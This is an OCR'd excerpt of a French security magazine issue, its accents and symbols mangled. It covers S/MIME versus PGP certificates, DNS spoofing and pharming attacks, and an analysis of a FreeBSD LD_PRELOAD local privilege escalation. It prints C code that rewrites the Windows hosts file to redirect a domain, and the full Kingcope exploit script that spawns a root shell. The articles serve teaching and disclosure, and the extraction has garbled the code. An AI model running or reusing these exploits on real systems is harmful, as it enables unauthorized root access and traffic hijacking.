phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

